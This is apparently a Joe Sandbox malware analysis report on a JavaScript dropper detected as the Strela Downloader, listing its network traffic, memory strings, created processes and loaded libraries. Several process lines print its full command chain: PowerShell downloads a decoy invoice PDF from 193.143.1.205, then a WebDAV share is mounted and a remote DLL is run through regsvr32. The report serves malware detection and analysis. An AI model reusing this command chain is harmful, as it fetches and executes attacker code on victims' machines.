Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic	HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2048740002.0000019B4D48E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2110817748.00000266C63AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2110817748.00000266C63AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ya
Source: net.exe, 00000007.00000002.2110817748.00000266C6378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/log5
Source: svchost.exe, 00000009.00000002.3331489065.000001C54A400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2109721456.000001C54A280000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7280, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 27328249893052310101.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/39@1/3

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7684

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7376:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4zqq3dud.eqx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 27328249893052310101.js	Virustotal: Detection: 13%
Source: 27328249893052310101.js	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1632,i,4704499646644094334,4201205311762563793,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1632,i,4704499646644094334,4201205311762563793,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
